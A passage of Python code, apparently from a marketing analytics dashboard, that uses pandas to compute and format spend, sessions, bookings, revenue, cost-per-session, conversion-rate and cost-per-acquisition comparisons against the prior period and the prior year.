(((df_by_date_combined['Spend TY'] - df_by_date_combined['Spend - LP'])/df_by_date_combined['Spend - LP']) * 100), df_by_date_combined['Spend PoP (%)'])
# Formatter
df_by_date_combined['Spend PoP (%)'] = np.where((df_by_date_combined['Spend TY'] != 0) & (df_by_date_combined['Spend - LP'] != 0),\
df_by_date_combined['Spend PoP (%)'].apply(formatter_percent), df_by_date_combined['Spend PoP (%)'])
df_by_date_combined['Spend_YoY_percent_conditional'] = df_by_date_combined['Spend YoY (%)'] = np.where((df_by_date_combined['Spend TY'] != 0) & (df_by_date_combined['Spend LY'] != 0),\
((df_by_date_combined['Spend TY'] - df_by_date_combined['Spend LY'])/df_by_date_combined['Spend LY']) * 100, df_by_date_combined['Spend YoY (%)'])
# Formatter
df_by_date_combined['Spend YoY (%)'] = np.where((df_by_date_combined['Spend TY'] != 0) & (df_by_date_combined['Spend LY'] != 0),\
df_by_date_combined['Spend YoY (%)'].apply(formatter_percent), df_by_date_combined['Spend YoY (%)'])
df_by_date_combined['Sessions_PoP_percent_conditional'] = df_by_date_combined['Sessions PoP (%)'] = np.where((df_by_date_combined['Sessions - TY'] != 0) & (df_by_date_combined['Sessions - LP'] != 0),\
((df_by_date_combined['Sessions - TY'] - df_by_date_combined['Sessions - LP'])/df_by_date_combined['Sessions - LP']) * 100, df_by_date_combined['Sessions PoP (%)'])
# Formatter
df_by_date_combined['Sessions PoP (%)'] = np.where((df_by_date_combined['Sessions - TY'] != 0) & (df_by_date_combined['Sessions - LP'] != 0),\
df_by_date_combined['Sessions PoP (%)'].apply(formatter_percent), df_by_date_combined['Sessions PoP (%)'])
df_by_date_combined['Sessions_YoY_percent_conditional'] = df_by_date_combined['Sessions YoY (%)'] = np.where((df_by_date_combined['Sessions - TY'] != 0) & (df_by_date_combined['Sessions - LY'] != 0),\
((df_by_date_combined['Sessions - TY'] - df_by_date_combined['Sessions - LY'])/df_by_date_combined['Sessions - LY']) * 100, df_by_date_combined['Sessions YoY (%)'])
# Formatter
df_by_date_combined['Sessions YoY (%)'] = np.where((df_by_date_combined['Sessions - TY'] != 0) & (df_by_date_combined['Sessions - LY'] != 0),\
df_by_date_combined['Sessions YoY (%)'].apply(formatter_percent), df_by_date_combined['Sessions YoY (%)'])
df_by_date_combined['Bookings_PoP_abs_conditional'] = df_by_date_combined['Bookings PoP (Abs)'] = (df_by_date_combined['Bookings - TY'] - df_by_date_combined['Bookings - LP'])
# Formatter
df_by_date_combined['Bookings PoP (Abs)'] = df_by_date_combined['Bookings PoP (Abs)'].apply(formatter_number)
df_by_date_combined['Bookings_YoY_abs_conditional'] = df_by_date_combined['Bookings YoY (Abs)'] = (df_by_date_combined['Bookings - TY'] - df_by_date_combined['Bookings - LY'])
# Formatter
df_by_date_combined['Bookings YoY (Abs)'] = df_by_date_combined['Bookings YoY (Abs)'].apply(formatter_number)
df_by_date_combined['Bookings_PoP_percent_conditional'] = df_by_date_combined['Bookings PoP (%)'] = np.where((df_by_date_combined['Bookings - TY'] != 0) & (df_by_date_combined['Bookings - LP'] != 0),\
(df_by_date_combined['Bookings - TY'] - df_by_date_combined['Bookings - LP'])/df_by_date_combined['Bookings - LP'] * 100, df_by_date_combined['Bookings PoP (%)'])
# Formatter
df_by_date_combined['Bookings PoP (%)'] = np.where((df_by_date_combined['Bookings - TY'] != 0) & (df_by_date_combined['Bookings - LP'] != 0),\
df_by_date_combined['Bookings PoP (%)'].apply(formatter_percent), df_by_date_combined['Bookings PoP (%)'])
df_by_date_combined['Bookings_YoY_percent_conditional'] = df_by_date_combined['Bookings YoY (%)'] = np.where((df_by_date_combined['Bookings - TY'] != 0) & (df_by_date_combined['Bookings - LY'] != 0),\
(df_by_date_combined['Bookings - TY'] - df_by_date_combined['Bookings - LY'])/df_by_date_combined['Bookings - LY'] * 100, df_by_date_combined['Bookings YoY (%)'])
# Formatter
df_by_date_combined['Bookings YoY (%)'] = np.where((df_by_date_combined['Bookings - TY'] != 0) & (df_by_date_combined['Bookings - LY'] != 0),\
df_by_date_combined['Bookings YoY (%)'].apply(formatter_percent), df_by_date_combined['Bookings YoY (%)'])
df_by_date_combined['Revenue_PoP_abs_conditional'] = df_by_date_combined['Revenue PoP (Abs)'] = (df_by_date_combined['Revenue - TY'] - df_by_date_combined['Revenue - LP'])
# Formatter
df_by_date_combined['Revenue PoP (Abs)'] = df_by_date_combined['Revenue PoP (Abs)'].apply(formatter_currency)
df_by_date_combined['Revenue_YoY_abs_conditional'] = df_by_date_combined['Revenue YoY (Abs)'] = (df_by_date_combined['Revenue - TY'] - df_by_date_combined['Revenue - LY'])
# Formatter
df_by_date_combined['Revenue YoY (Abs)'] = df_by_date_combined['Revenue YoY (Abs)'].apply(formatter_currency)
df_by_date_combined['Revenue_PoP_percent_conditional'] = df_by_date_combined['Revenue PoP (%)'] = np.where((df_by_date_combined['Revenue - LP'] != 0) & (df_by_date_combined['Revenue - LP'] != 0),\
(df_by_date_combined['Revenue - TY'] - df_by_date_combined['Revenue - LP'])/df_by_date_combined['Revenue - LP'] * 100, df_by_date_combined['Revenue PoP (%)'])
# Formatter
df_by_date_combined['Revenue PoP (%)'] = np.where((df_by_date_combined['Revenue - LP'] != 0) & (df_by_date_combined['Revenue - LP'] != 0),\
df_by_date_combined['Revenue PoP (%)'].apply(formatter_percent), df_by_date_combined['Revenue PoP (%)'])
df_by_date_combined['Revenue_YoY_percent_conditional'] = df_by_date_combined['Revenue YoY (%)'] = np.where((df_by_date_combined['Revenue - TY'] != 0) & (df_by_date_combined['Revenue - LY'] != 0),\
(df_by_date_combined['Revenue - TY'] - df_by_date_combined['Revenue - LY'])/df_by_date_combined['Revenue - LY'] * 100, df_by_date_combined['Revenue YoY (%)'])
# Formatter
df_by_date_combined['Revenue YoY (%)'] = np.where((df_by_date_combined['Revenue - TY'] != 0) & (df_by_date_combined['Revenue - LY'] != 0),\
df_by_date_combined['Revenue YoY (%)'].apply(formatter_percent), df_by_date_combined['Revenue YoY (%)'])
# Format Numbers
df_by_date_combined['Spend TY'] = df_by_date_combined['Spend TY'].apply(formatter_currency)
df_by_date_combined['Spend - LP'] = df_by_date_combined['Spend - LP'].apply(formatter_currency)
df_by_date_combined['Spend LY'] = df_by_date_combined['Spend LY'].apply(formatter_currency)
df_by_date_combined['Sessions - TY'] = df_by_date_combined['Sessions - TY'].apply(formatter_number)
df_by_date_combined['Sessions - LP'] = df_by_date_combined['Sessions - LP'].apply(formatter_number)
df_by_date_combined['Sessions - LY'] = df_by_date_combined['Sessions - LY'].apply(formatter_number)
df_by_date_combined['Bookings - TY'] = df_by_date_combined['Bookings - TY'].apply(formatter_number)
df_by_date_combined['Bookings - LP'] = df_by_date_combined['Bookings - LP'].apply(formatter_number)
df_by_date_combined['Bookings - LY'] = df_by_date_combined['Bookings - LY'].apply(formatter_number)
df_by_date_combined['Revenue - TY'] = df_by_date_combined['Revenue - TY'].apply(formatter_currency)
df_by_date_combined['Revenue - LP'] = df_by_date_combined['Revenue - LP'].apply(formatter_currency)
df_by_date_combined['Revenue - LY'] = df_by_date_combined['Revenue - LY'].apply(formatter_currency)
# Rearrange the columns
df_by_date_combined_dt = df_by_date_combined[[
'Placement type',
'Spend TY', 'Spend - LP', 'Spend PoP (Abs)', 'Spend PoP (%)', 'Spend LY', 'Spend YoY (%)',
'Sessions - TY', 'Sessions - LP', 'Sessions PoP (%)', 'Sessions - LY', 'Sessions YoY (%)',
'Bookings - TY', 'Bookings - LP', 'Bookings PoP (%)', 'Bookings PoP (Abs)', 'Bookings - LY', 'Bookings YoY (%)', 'Bookings YoY (Abs)',
'Revenue - TY', 'Revenue - LP', 'Revenue PoP (Abs)', 'Revenue PoP (%)', 'Revenue - LY', 'Revenue YoY (%)', 'Revenue YoY (Abs)',
# 'Spend_PoP_percent_conditional',
]]
data_df = df_by_date_combined.to_dict("rows")
return data_df
# First Data Table Download Function
def update_first_download(start_date, end_date, category, aggregation):
if start_date is not None:
start_date = dt.strptime(start_date, '%Y-%m-%d')
start_date_string = start_date.strftime('%Y-%m-%d')
if end_date is not None:
end_date = dt.strptime(end_date, '%Y-%m-%d')
end_date_string = end_date.strftime('%Y-%m-%d')
days_selected = (end_date - start_date).days
prior_start_date = start_date - timedelta(days_selected + 1)
prior_start_date_string = datetime.strftime(prior_start_date, '%Y-%m-%d')
prior_end_date = end_date - timedelta(days_selected + 1)
prior_end_date_string = datetime.strftime(prior_end_date, '%Y-%m-%d')
if aggregation == 'Placement type':
df1 = df[(df['Category'] == category)].groupby(['Date', aggregation]).sum()[columns].reset_index()
df_by_date = df1[(df1['Date'] >= start_date_string) & (df1['Date'] <= end_date_string)].groupby([aggregation]).sum()[columns].reset_index()
df_by_date_prior = df1[(df1['Date'] >= prior_start_date_string) & (df1['Date'] <= prior_end_date_string)].groupby([aggregation]).sum()[['Spend TY', 'Sessions - TY', 'Bookings - TY', 'Revenue - TY']].reset_index()
df_by_date_prior.rename(columns={'Spend TY' : 'Spend - LP', 'Sessions - TY' : 'Sessions - LP', 'Bookings - TY' : 'Bookings - LP','Revenue - TY' : 'Revenue - LP'}, inplace=True)
df_by_date_combined = pd.merge(df_by_date, df_by_date_prior, on=[aggregation])
elif aggregation == 'GA Category':
df1 = df.groupby(['Date', aggregation]).sum()[columns].reset_index()
df_by_date = df1[(df1['Date'] >= start_date_string) & (df1['Date'] <= end_date_string)].groupby([aggregation]).sum()[columns].reset_index()
df_by_date_prior = df1[(df1['Date'] >= prior_start_date_string) & (df1['Date'] <= prior_end_date_string)].groupby([aggregation]).sum()[['Spend TY', 'Sessions - TY', 'Bookings - TY', 'Revenue - TY']].reset_index()
df_by_date_prior.rename(columns={'Spend TY' : 'Spend - LP', 'Sessions - TY' : 'Sessions - LP', 'Bookings - TY' : 'Bookings - LP','Revenue - TY' : 'Revenue - LP'}, inplace=True)
df_by_date_combined = pd.merge(df_by_date, df_by_date_prior, on=[aggregation])
df_by_date_combined.rename(columns={'GA Category':'Placement type'}, inplace=True)
elif aggregation == 'Birst Category':
df1 = df.groupby(['Date', aggregation]).sum()[columns].reset_index()
df_by_date = df1[(df1['Date'] >= start_date_string) & (df1['Date'] <= end_date_string)].groupby([aggregation]).sum()[columns].reset_index()
df_by_date_prior = df1[(df1['Date'] >= prior_start_date_string) & (df1['Date'] <= prior_end_date_string)].groupby([aggregation]).sum()[['Spend TY', 'Sessions - TY', 'Bookings - TY', 'Revenue - TY']].reset_index()
df_by_date_prior.rename(columns={'Spend TY' : 'Spend - LP', 'Sessions - TY' : 'Sessions - LP', 'Bookings - TY' : 'Bookings - LP','Revenue - TY' : 'Revenue - LP'}, inplace=True)
df_by_date_combined = pd.merge(df_by_date, df_by_date_prior, on=[aggregation])
df_by_date_combined.rename(columns={'Birst Category':'Placement type'}, inplace=True)
# Calculate Differences on-the-fly
df_by_date_combined['Spend PoP (%)'] = np.nan
df_by_date_combined['Spend YoY (%)'] = np.nan
df_by_date_combined['Sessions PoP (%)'] = np.nan
df_by_date_combined['Sessions YoY (%)'] = np.nan
df_by_date_combined['Bookings PoP (%)'] = np.nan
df_by_date_combined['Bookings YoY (%)'] = np.nan
df_by_date_combined['Revenue PoP (%)'] = np.nan
df_by_date_combined['Revenue YoY (%)'] = np.nan
df_by_date_combined['Spend PoP (Abs)'] = ((df_by_date_combined['Spend TY'] - df_by_date_combined['Spend - LP']))
df_by_date_combined['Spend PoP (%)'] = np.where((df_by_date_combined['Spend TY'] != 0) & (df_by_date_combined['Spend - LP'] != 0),\
(((df_by_date_combined['Spend TY'] - df_by_date_combined['Spend - LP'])/df_by_date_combined['Spend - LP']) * 100), df_by_date_combined['Spend PoP (%)'])
df_by_date_combined['Spend YoY (%)'] = np.where((df_by_date_combined['Spend TY'] != 0) & (df_by_date_combined['Spend LY'] != 0),\
((df_by_date_combined['Spend TY'] - df_by_date_combined['Spend LY'])/df_by_date_combined['Spend LY']) * 100, df_by_date_combined['Spend YoY (%)'])
df_by_date_combined['Sessions PoP (%)'] = np.where((df_by_date_combined['Sessions - TY'] != 0) & (df_by_date_combined['Sessions - LP'] != 0),\
((df_by_date_combined['Sessions - TY'] - df_by_date_combined['Sessions - LP'])/df_by_date_combined['Sessions - LP']) * 100, df_by_date_combined['Sessions PoP (%)'])
df_by_date_combined['Sessions YoY (%)'] = np.where((df_by_date_combined['Sessions - TY'] != 0) & (df_by_date_combined['Sessions - LY'] != 0),\
((df_by_date_combined['Sessions - TY'] - df_by_date_combined['Sessions - LY'])/df_by_date_combined['Sessions - LY']) * 100, df_by_date_combined['Sessions YoY (%)'])
df_by_date_combined['Bookings PoP (Abs)'] = (df_by_date_combined['Bookings - TY'] - df_by_date_combined['Bookings - LP'])
df_by_date_combined['Bookings YoY (Abs)'] = (df_by_date_combined['Bookings - TY'] - df_by_date_combined['Bookings - LY'])
df_by_date_combined['Bookings PoP (%)'] = np.where((df_by_date_combined['Bookings - TY'] != 0) & (df_by_date_combined['Bookings - LP'] != 0),\
(df_by_date_combined['Bookings - TY'] - df_by_date_combined['Bookings - LP'])/df_by_date_combined['Bookings - LP'] * 100, df_by_date_combined['Bookings PoP (%)'])
df_by_date_combined['Bookings YoY (%)'] = np.where((df_by_date_combined['Bookings - TY'] != 0) & (df_by_date_combined['Bookings - LY'] != 0),\
(df_by_date_combined['Bookings - TY'] - df_by_date_combined['Bookings - LY'])/df_by_date_combined['Bookings - LY'] * 100, df_by_date_combined['Bookings YoY (%)'])
df_by_date_combined['Revenue PoP (Abs)'] = (df_by_date_combined['Revenue - TY'] - df_by_date_combined['Revenue - LP'])
df_by_date_combined['Revenue YoY (Abs)'] = (df_by_date_combined['Revenue - TY'] - df_by_date_combined['Revenue - LY'])
df_by_date_combined['Revenue PoP (%)'] = np.where((df_by_date_combined['Revenue - LP'] != 0) & (df_by_date_combined['Revenue - LP'] != 0),\
(df_by_date_combined['Revenue - TY'] - df_by_date_combined['Revenue - LP'])/df_by_date_combined['Revenue - LP'] * 100, df_by_date_combined['Revenue PoP (%)'])
df_by_date_combined['Revenue YoY (%)'] = np.where((df_by_date_combined['Revenue - TY'] != 0) & (df_by_date_combined['Revenue - LY'] != 0),\
(df_by_date_combined['Revenue - TY'] - df_by_date_combined['Revenue - LY'])/df_by_date_combined['Revenue - LY'] * 100, df_by_date_combined['Revenue YoY (%)'])
# Calculate CPS, CR, CPA
df_by_date_combined['CPS - TY'] = np.nan
df_by_date_combined['CPS - LP'] = np.nan
df_by_date_combined['CPS - LY'] = np.nan
df_by_date_combined['CPS PoP (Abs)'] = np.nan
df_by_date_combined['CPS YoY (Abs)'] = np.nan
df_by_date_combined['CVR - TY'] = np.nan
df_by_date_combined['CVR - LP'] = np.nan
df_by_date_combined['CVR - LY'] = np.nan
df_by_date_combined['CVR PoP (Abs)'] = np.nan
df_by_date_combined['CVR YoY (Abs)'] = np.nan
df_by_date_combined['CPA - TY'] = np.nan
df_by_date_combined['CPA - LP'] = np.nan
df_by_date_combined['CPA - LY'] = np.nan
df_by_date_combined['CPA PoP (Abs)'] = np.nan
df_by_date_combined['CPA YoY (Abs)'] = np.nan
df_by_date_combined['CPS PoP (%)'] = np.nan
df_by_date_combined['CPS YoY (%)'] = np.nan
df_by_date_combined['CVR PoP (%)'] = np.nan
df_by_date_combined['CVR YoY (%)'] = np.nan
df_by_date_combined['CPA PoP (%)' ] = np.nan
df_by_date_combined['CPA YoY (%)'] = np.nan
df_by_date_combined['CPS - TY'] = np.where((df_by_date_combined['Spend TY'] != 0) & (df_by_date_combined['Sessions - TY'] != 0),\
(df_by_date_combined['Spend TY']/df_by_date_combined['Sessions - TY']), df_by_date_combined['CPS - TY'])
df_by_date_combined['CPS - LP'] = np.where((df_by_date_combined['Spend - LP'] != 0) & (df_by_date_combined['Sessions - LP'] != 0),\
(df_by_date_combined['Spend - LP']/df_by_date_combined['Sessions - LP']), df_by_date_combined['CPS - LP'])
df_by_date_combined['CPS PoP (Abs)'] = (df_by_date_combined['CPS - TY'] - df_by_date_combined['CPS - LP'])
df_by_date_combined['CPS PoP (%)'] = np.where((df_by_date_combined['CPS - TY'] != 0) & (df_by_date_combined['CPS - LP'] != 0),\
((df_by_date_combined['CPS - TY'] - df_by_date_combined['CPS - LP'])/df_by_date_combined['CPS - LP']), df_by_date_combined['CPS PoP (%)'])
df_by_date_combined['CPS - LY'] = np.where((df_by_date_combined['Spend LY'] != 0) & (df_by_date_combined['Sessions - LY'] != 0),\
(df_by_date_combined['Spend LY']/df_by_date_combined['Sessions - LY']), df_by_date_combined['CPS - LY'])
df_by_date_combined['CPS YoY (Abs)'] = (df_by_date_combined['CPS - TY'] - df_by_date_combined['CPS - LY'])
df_by_date_combined['CPS YoY (%)'] = np.where((df_by_date_combined['CPS - TY'] != 0) & (df_by_date_combined['CPS - LY'] != 0),\
((df_by_date_combined['CPS - TY'] - df_by_date_combined['CPS - LY'])/df_by_date_combined['CPS - LY']), df_by_date_combined['CPS YoY (%)'] )
df_by_date_combined['CVR - TY'] = np.where(((df_by_date_combined['Bookings - TY'] != 0) & (df_by_date_combined['Sessions - TY'] != 0)), \
(df_by_date_combined['Bookings - TY']/df_by_date_combined['Sessions - TY'] * 100), df_by_date_combined['CVR - TY'])
df_by_date_combined['CVR - LP'] = np.where(((df_by_date_combined['Bookings - LP'] != 0) & (df_by_date_combined['Sessions - LP'] != 0)), \
(df_by_date_combined['Bookings - LP']/df_by_date_combined['Sessions - LP'] * 100), df_by_date_combined['CVR - LP'])
df_by_date_combined['CVR PoP (Abs)'] = np.where((df_by_date_combined['CVR - TY'].notnull() & df_by_date_combined['CVR - LP'].notnull()), \
((df_by_date_combined['CVR - TY'] - df_by_date_combined['CVR - LP'])), df_by_date_combined['CVR PoP (Abs)'])
df_by_date_combined['CVR PoP (%)'] = np.where(((df_by_date_combined['CVR - TY'] != 0) & (df_by_date_combined['CVR - LP'] != 0)), \
((df_by_date_combined['CVR - TY'] - df_by_date_combined['CVR - LP'])/df_by_date_combined['CVR - LP']), df_by_date_combined['CVR PoP (%)'])
df_by_date_combined['CVR - LY'] = np.where(((df_by_date_combined['Bookings - LY'] != 0) & (df_by_date_combined['Sessions - LY'] != 0)), \
(df_by_date_combined['Bookings - LY']/df_by_date_combined['Sessions - LY'] * 100), df_by_date_combined['CVR - LY'])
df_by_date_combined['CVR YoY (Abs)'] = np.where((df_by_date_combined['CVR - TY'].notnull() & df_by_date_combined['CVR - LY'].notnull()), \
((df_by_date_combined['CVR - TY'] - df_by_date_combined['CVR - LY'])), df_by_date_combined['CVR YoY (Abs)'])
df_by_date_combined['CVR YoY (%)'] = np.where(((df_by_date_combined['CVR - TY'] != 0) & (df_by_date_combined['CVR - LY'] != 0)), \
((df_by_date_combined['CVR - TY'] - df_by_date_combined['CVR - LY'])/df_by_date_combined['CVR - LY']), df_by_date_combined['CVR YoY (%)'])
df_by_date_combined['CPA - TY'] = np.where((df_by_date_combined['Spend TY'] != 0) & (df_by_date_combined['Bookings - TY'] != 0), \
(df_by_date_combined['Spend TY']/df_by_date_combined['Bookings - TY']), df_by_date_combined['CPA - TY'])
df_by_date_combined['CPA - LP'] = np.where((df_by_date_combined['Spend - LP'] != 0) & (df_by_date_combined['Bookings - LP'] != 0), \
(df_by_date_combined['Spend - LP']/df_by_date_combined['Bookings - LP']), df_by_date_combined['CPA - LP'])
df_by_date_combined['CPA PoP (Abs)'] = np.where((df_by_date_combined['CPA - TY'] != 0) & (df_by_date_combined['CPA - LP'] != 0), \
(df_by_date_combined['CPA - TY'] - df_by_date_combined['CPA - LP']), df_by_date_combined['CPA PoP (Abs)'])
df_by_date_combined['CPA PoP (%)' ] = np.where((df_by_date_combined['CPA - TY'] != 0) & (df_by_date_combined['CPA - LP'] != 0), \
((df_by_date_combined['CPA - TY'] - df_by_date_combined['CPA - LP'])/df_by_date_combined['CPA - LP']), df_by_date_combined['CPA PoP (%)' ] )
df_by_date_combined['CPA - LY'] = np.where((df_by_date_combined['Spend LY'] != 0) & (df_by_date_combined['Bookings - LY'] != 0), \
(df_by_date_combined['Spend LY']/df_by_date_combined['Bookings - LY']), df_by_date_combined['CPA - LY'])
df_by_date_combined['CPA YoY (Abs)'] = np.where((df_by_date_combined['CPA - TY'] != 0) & (df_by_date_combined['CPA - LY'] != 0), \
(df_by_date_combined['CPA - TY'] - df_by_date_combined['CPA - LY']), df_by_date_combined['CPA YoY (Abs)'])
df_by_date_combined['CPA YoY (%)'] = np.where((df_by_date_combined['CPA - TY'] != 0) & (df_by_date_combined['CPA - LY'] != 0), \
(df_by_date_combined['CPA - TY'] - df_by_date_combined['CPA - LY'])/df_by_date_combined['CPA - LY'], df_by_date_combined['CPA YoY (%)'])
df_by_date_combined['TY Start Date'] = start_date_string
df_by_date_combined['TY End Date'] = end_date_string
df_by_date_combined['LP Start Date'] = prior_start_date_string
df_by_date_combined['LP End Date'] = prior_end_date_string
last_years_start_date = start_date - timedelta(364)
last_years_start_date_string = datetime.strftime(last_years_start_date, '%Y-%m-%d')
last_years_end_date = end_date - timedelta(364)
last_years_end_date_string = datetime.strftime(last_years_end_date, '%Y-%m-%d')
df_by_date_combined['LY Start Date'] = last_years_start_date_string
df_by_date_combined['LY End Date'] = last_years_end_date_string
# Rearrange the columns
df_by_date_combined_dt = df_by_date_combined[[
'Placement type', 'TY Start Date', 'TY End Date', 'LP Start Date', 'LP End Date', 'LY Start Date', 'LY End Date',
'Spend TY', 'Spend - LP', 'Spend PoP (Abs)', 'Spend PoP (%)', 'Spend LY', 'Spend YoY (%)',
'Sessions - TY', 'Sessions - LP', 'Sessions PoP (%)', 'Sessions - LY', 'Sessions YoY (%)',
'Bookings - TY', 'Bookings - LP', 'Bookings PoP (%)', 'Bookings PoP (Abs)', 'Bookings - LY', 'Bookings YoY (%)', 'Bookings YoY (Abs)',
'Revenue - TY', 'Revenue - LP', 'Revenue PoP (Abs)', 'Revenue PoP (%)', 'Revenue - LY', 'Revenue YoY (%)', 'Revenue YoY (Abs)',
'CPS - TY',
'CPS - LP', 'CPS PoP (Abs)', 'CPS PoP (%)',
'CPS - LY', 'CPS YoY (Abs)', 'CPS YoY (%)',
'CVR - TY',
'CVR - LP', 'CVR PoP (Abs)', 'CVR PoP (%)',
'CVR - LY', 'CVR YoY (Abs)', 'CVR YoY (%)',
'CPA - TY',
'CPA - LP', 'CPA PoP (Abs)', 'CPA PoP (%)',
'CPA - LY', 'CPA YoY (Abs)', 'CPA YoY (%)'
]]
download_df_1 = df_by_date_combined_dt
return download_df_1
# Second Data Table Update Function
def update_second_datatable(start_date, end_date, category, aggregation):
if start_date is not None:
start_date = dt.strptime(start_date, '%Y-%m-%d')
start_date_string = start_date.strftime('%Y-%m-%d')
if end_date is not None:
end_date = dt.strptime(end_date, '%Y-%m-%d')
end_date_string = end_date.strftime('%Y-%m-%d')
days_selected = (end_date - start_date).days
prior_start_date = start_date - timedelta(days_selected + 1)
prior_start_date_string = datetime.strftime(prior_start_date, '%Y-%m-%d')
prior_end_date = end_date - timedelta(days_selected + 1)
prior_end_date_string = datetime.strftime(prior_end_date, '%Y-%m-%d')
if aggregation == 'Placement type':
df1 = df[(df['Category'] == category)].groupby(['Date', aggregation]).sum()[columns].reset_index()
df_by_date = df1[(df1['Date'] >= start_date_string) & (df1['Date'] <= end_date_string)].groupby([aggregation]).sum()[columns].reset_index()
df_by_date_prior = df1[(df1['Date'] >= prior_start_date_string) & (df1['Date'] <= prior_end_date_string)].groupby([aggregation]).sum()[['Spend TY', 'Sessions - TY', 'Bookings - TY', 'Revenue - TY']].reset_index()
df_by_date_prior.rename(columns={'Spend TY' : 'Spend - LP', 'Sessions - TY' : 'Sessions - LP', 'Bookings - TY' : 'Bookings - LP','Revenue - TY' : 'Revenue - LP'}, inplace=True)
df_by_date_combined = pd.merge(df_by_date, df_by_date_prior, on=[aggregation])
elif aggregation == 'GA Category':
df1 = df.groupby(['Date', aggregation]).sum()[columns].reset_index()
df_by_date = df1[(df1['Date'] >= start_date_string) & (df1['Date'] <= end_date_string)].groupby([aggregation]).sum()[columns].reset_index()
df_by_date_prior = df1[(df1['Date'] >= prior_start_date_string) & (df1['Date'] <= prior_end_date_string)].groupby([aggregation]).sum()[['Spend TY', 'Sessions - TY', 'Bookings - TY', 'Revenue - TY']].reset_index()
df_by_date_prior.rename(columns={'Spend TY' : 'Spend - LP', 'Sessions - TY' : 'Sessions - LP', 'Bookings - TY' : 'Bookings - LP','Revenue - TY' : 'Revenue - LP'}, inplace=True)
df_by_date_combined = pd.merge(df_by_date, df_by_date_prior, on=[aggregation])
df_by_date_combined.rename(columns={'GA Category':'Placement type'}, inplace=True)
elif aggregation == 'Birst Category':
df1 = df.groupby(['Date', aggregation]).sum()[columns].reset_index()
df_by_date = df1[(df1['Date'] >= start_date_string) & (df1['Date'] <= end_date_string)].groupby([aggregation]).sum()[columns].reset_index()
df_by_date_prior = df1[(df1['Date'] >= prior_start_date_string) & (df1['Date'] <= prior_end_date_string)].groupby([aggregation]).sum()[['Spend TY', 'Sessions - TY', 'Bookings - TY', 'Revenue - TY']].reset_index()
df_by_date_prior.rename(columns={'Spend TY' : 'Spend - LP', 'Sessions - TY' : 'Sessions - LP', 'Bookings - TY' : 'Bookings - LP','Revenue - TY' : 'Revenue - LP'}, inplace=True)
df_by_date_combined = pd.merge(df_by_date, df_by_date_prior, on=[aggregation])
df_by_date_combined.rename(columns={'Birst Category':'Placement type'}, inplace=True)
# Calculate Differences on-the-fly
# Calculate Percentage Changes
df_by_date_combined['Spend PoP (Abs)'] = ((df_by_date_combined['Spend TY'] - df_by_date_combined['Spend - LP'])/df_by_date_combined['Spend - LP']) * 100
df_by_date_combined['Spend PoP (Abs)'] = df_by_date_combined.apply(lambda x: "{:,.0f}%".format(x['Spend PoP (Abs)']), axis=1)
df_by_date_combined['Spend YoY (%)'] = ((df_by_date_combined['Spend TY'] - df_by_date_combined['Spend LY'])/df_by_date_combined['Spend LY']) * 100
df_by_date_combined['Spend YoY (%)'] = df_by_date_combined.apply(lambda x: "{:,.0f}%".format(x['Spend YoY (%)']), axis=1)
df_by_date_combined['Sessions PoP (%)'] = ((df_by_date_combined['Sessions - TY'] - df_by_date_combined['Sessions - LP'])/df_by_date_combined['Sessions - LP']) * 100
df_by_date_combined['Sessions PoP (%)'] = df_by_date_combined.apply(lambda x: "{:,.0f}%".format(x['Sessions PoP (%)']), axis=1)
df_by_date_combined['Sessions YoY (%)'] = ((df_by_date_combined['Sessions - TY'] - df_by_date_combined['Sessions - LY'])/df_by_date_combined['Sessions - LY']) * 100
df_by_date_combined['Sessions YoY (%)'] = df_by_date_combined.apply(lambda x: "{:,.0f}%".format(x['Sessions YoY (%)']), axis=1)
df_by_date_combined['Bookings PoP (Abs)'] = (df_by_date_combined['Bookings - TY'] - df_by_date_combined['Bookings - LP'])
df_by_date_combined['Bookings PoP (Abs)'] = df_by_date_combined.apply(lambda x: "{:,.0f}".format(x['Bookings PoP (Abs)']), axis=1)
df_by_date_combined['Bookings YoY (Abs)'] = (df_by_date_combined['Bookings - TY'] - df_by_date_combined['Bookings - LY'])
df_by_date_combined['Bookings YoY (Abs)'] = df_by_date_combined.apply(lambda x: "{:,.0f}".format(x['Bookings YoY (Abs)']), axis=1)
df_by_date_combined['Revenue PoP (Abs)'] = (df_by_date_combined['Revenue - TY'] - df_by_date_combined['Revenue - LP'])
df_by_date_combined['Revenue PoP (Abs)'] = df_by_date_combined.apply(lambda x: "{:,.0f}".format(x['Revenue PoP (Abs)']), axis=1)
df_by_date_combined['Revenue YoY (Abs)'] = (df_by_date_combined['Revenue - TY'] - df_by_date_combined['Revenue - LY'])
df_by_date_combined['Revenue YoY (Abs)'] = df_by_date_combined.apply(lambda x: "{:,.0f}".format(x['Revenue YoY (Abs)']), axis=1)
# Calculate CPS, CR, CPA
df_by_date_combined['CPS - TY'] = np.nan
df_by_date_combined['CPS - LP'] = np.nan
df_by_date_combined['CPS - LY'] = np.nan
df_by_date_combined['CPS PoP (Abs)'] = np.nan
df_by_date_combined['CPS YoY (Abs)'] = np.nan
df_by_date_combined['CVR - TY'] = np.nan
df_by_date_combined['CVR - LP'] = np.nan
df_by_date_combined['CVR - LY'] = np.nan
df_by_date_combined['CVR PoP (Abs)'] = np.nan
df_by_date_combined['CVR YoY (Abs)'] = np.nan
df_by_date_combined['CPA - TY'] = np.nan
df_by_date_combined['CPA - LP'] = np.nan
df_by_date_combined['CPA - LY'] = np.nan
df_by_date_combined['CPA PoP (Abs)'] = np.nan
df_by_date_combined['CPA YoY (Abs)'] = np.nan
df_by_date_combined['CPS - TY'] = np.where((df_by_date_combined['Spend TY'] != 0) & (df_by_date_combined['Sessions - TY'] != 0),\
(df_by_date_combined['Spend TY']/df_by_date_combined['Sessions - TY']), df_by_date_combined['CPS - TY'])
df_by_date_combined['CPS - LP'] = np.where((df_by_date_combined['Spend - LP'] != 0) & (df_by_date_combined['Sessions - LP'] != 0),\
(df_by_date_combined['Spend - LP']/df_by_date_combined['Sessions - LP']), df_by_date_combined['CPS - LP'])
# df_by_date_combined['CPS_PoP_abs_conditional'] =
df_by_date_combined['CPS PoP (Abs)'] = (df_by_date_combined['CPS - TY'] - df_by_date_combined['CPS - LP'])
df_by_date_combined['CPS_PoP_percent_conditional'] = df_by_date_combined['CPS PoP (%)'] = ((df_by_date_combined['CPS - TY'] - df_by_date_combined['CPS - LP'])/df_by_date_combined['CPS - LP'] * 100)
df_by_date_combined['CPS - LY'] = np.where((df_by_date_combined['Spend LY'] != 0) & (df_by_date_combined['Sessions - LY'] != 0),\
(df_by_date_combined['Spend LY']/df_by_date_combined['Sessions - LY']), df_by_date_combined['CPS - LY'])
